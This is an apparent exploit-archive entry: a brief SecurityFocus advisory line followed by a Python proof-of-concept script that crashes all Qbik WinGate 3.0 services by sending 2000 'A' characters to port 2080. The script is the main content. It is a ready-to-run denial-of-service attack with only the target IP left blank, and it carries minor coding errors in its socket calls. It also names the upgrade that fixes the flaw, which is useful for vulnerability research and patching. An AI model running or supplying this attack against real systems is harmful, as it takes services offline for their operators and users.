source: http://www.securityfocus.com/bid/509/info WinGate's Winsock redirector service is susceptible to a buffer overflow vilnerability that will crash all WinGate services. #!/usr/bin/python # # Qbik Wingate 3.0 DoS Proof of Concept Code. # Vulnerability Discovered by eEye Digital Security Team(http://www.eEye.com) # Simple Script by Prizm([email protected]) # # By connecting to port 2080 on a system running Qbik Wingate 3.0 and # sending 2000 # characters, all wingate services will crash. # *Solution* Upgrade to 4.0.1, version is not vulnerable to this Denial of # Service attack. # # This *simple* little script will crash all wingate services. import socket import sys from string import strip host="xxx.xxx.xxx.xxx" # Replace x's with IP. port=2080 s = socket.socket(socket.AF_INET,socket.SOCK_STREAM) try: s.connect(host,port) print "connection succeeded." except socket.error, e: print "connection failed, " + e.args s.send("A" * 2000) #end